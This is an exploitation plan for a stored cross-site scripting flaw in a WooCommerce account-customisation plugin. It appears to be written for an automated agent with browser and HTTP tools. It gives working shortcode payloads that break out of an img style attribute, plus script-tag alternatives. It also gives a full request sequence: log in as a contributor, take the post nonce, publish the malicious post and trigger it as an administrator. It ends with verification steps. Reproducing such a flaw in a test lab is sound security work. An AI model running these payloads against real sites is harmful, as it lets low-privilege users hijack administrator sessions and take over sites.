Exploitation Research Plan - CVE-2026-12136

1. Vulnerability Summary

The SysBasics Customize My Account for WooCommerce plugin (versions <= 4.3.6) is vulnerable to Authenticated Stored Cross-Site Scripting (XSS). The vulnerability exists within the [sysbasics_user_avatar] shortcode, specifically inside the wcmamtx_get_avatar_default() function.

User-supplied shortcode attributes—min_height, min_width, max_height, and max_width—are concatenated directly into a style string without sanitization or escaping. This string is then passed as the extra_attr argument to the WordPress core get_avatar() function. Because get_avatar() renders extra_attr as raw HTML attributes, an attacker can break out of the style attribute context to inject arbitrary JavaScript.

2. Attack Vector Analysis

• Shortcode: [sysbasics_user_avatar]
• Vulnerable Attributes: min_height, min_width, max_height, max_width
• Authentication Level: Contributor or higher (any user role capable of creating or editing posts/pages).
• Preconditions: The plugin must be active. A post or page containing the malicious shortcode must be published and viewed by a victim (e.g., an Administrator).
• Payload Location: The payload is stored in the post_content field of the WordPress database and executed when the post is rendered on the frontend.

3. Code Flow

1. Registration: The plugin registers the shortcode (likely in include/sysbasics-avatar-upload.php) using add_shortcode( 'sysbasics_user_avatar', 'wcmamtx_get_avatar_default' );.
2. Input Handling: When a post is rendered, wcmamtx_get_avatar_default($atts) is called. The $atts array contains the user-supplied values from the post content.
3. Vulnerable Processing:
   • The function retrieves attributes: $min_h = $atts['min_height']; (and similarly for others).
   • It constructs a style string: $extra_attr = 'style="min-height:' . $min_h . '; min-width:' . $min_w . ';"'; (or similar concatenation).
4. The Sink: The $extra_attr string is passed into get_avatar():

   return get_avatar( get_current_user_id(), 96, '', '', array( 'extra_attr' => $extra_attr ) );
   

5. Output: WordPress core's get_avatar renders the img tag, including the unescaped $extra_attr, leading to XSS.

4. Nonce Acquisition Strategy

To exploit this as a Contributor, the attacker must be able to save or update a post. This requires a standard WordPress post-editing nonce.

1. Login: Authenticate as a Contributor using the http_request tool.
2. Navigate to Editor: Use browser_navigate to go to /wp-admin/post-new.php.
3. Extract Nonce: Use browser_eval to retrieve the _wpnonce from the form.
   • JavaScript: document.querySelector('#_wpnonce').value
4. Extract Post ID: If updating an existing post, the ID is in the URL; for a new post, it is often generated upon first draft save.

5. Exploitation Strategy

The goal is to create a post containing a shortcode attribute that breaks out of the style="..." context.

Payload Creation

• Attribute: min_height
• Payload: 100px; " onmouseover="alert(document.domain)" data-x="
• Shortcode: [sysbasics_user_avatar min_height='100px; " onmouseover="alert(document.domain)" data-x="']
• Resulting HTML: <img ... style="min-height:100px; " onmouseover="alert(document.domain)" data-x="; ..." >

Step-by-Step Plan

1. Login as Contributor:
   • POST /wp-login.php with credentials.
2. Fetch Nonce and Post ID:
   • GET /wp-admin/post-new.php.
   • Extract _wpnonce and the post_ID (from the hidden input field post_ID).
3. Submit Malicious Post:
   • Tool: http_request
   • Method: POST
   • URL: http://[target]/wp-admin/post.php
   • Headers: Content-Type: application/x-www-form-urlencoded
   • Body:

     action=editpost
     post_ID=[ID]
     _wpnonce=[NONCE]
     post_title=Account Dashboard
     content=[sysbasics_user_avatar min_height='100px; " onmouseover="alert(document.domain)" data-x="']
     post_status=publish
     

4. Triggering: Navigate to the published post URL (e.g., /?p=[ID]) as an Administrator. Hovering over the avatar will trigger the alert.

6. Test Data Setup

1. Plugin Installation: Ensure customize-my-account-for-woocommerce version 4.3.6 is active.
2. User Creation:
   • wp user create attacker attacker@example.com --role=contributor --user_pass=password
3. WooCommerce Requirement: Since this is a WooCommerce extension, WooCommerce must be installed and the current user should have an avatar or placeholder associated with their account.

7. Expected Results

• The POST request to post.php should return a 302 redirect to the post editor with message=1 (post published).
• When viewing the post source, the <img> tag should look like:
  <img ... style="min-height:100px; " onmouseover="alert(document.domain)" data-x="; ..." >
• A browser viewing the page will execute alert(document.domain) when the mouse moves over the image.

8. Verification Steps

1. Check DB Content:
   wp post get [ID] --field=post_content
   Verify it contains the malicious shortcode.
2. Check Rendered HTML:
   Use http_request (GET) on the post URL and grep for the payload:
   grep "onmouseover=\"alert" response_body

9. Alternative Approaches

If min_height is partially sanitized, try other attributes:

1. [sysbasics_user_avatar min_width='100px; " onmouseover="alert(1)']
2. [sysbasics_user_avatar max_height='100px; " onmouseover="alert(1)']
3. [sysbasics_user_avatar max_width='100px; " onmouseover="alert(1)']

If the style attribute itself is escaped but the tag is not closed properly, try breaking the tag entirely:

• min_height='100px"><script>alert(1)</script>'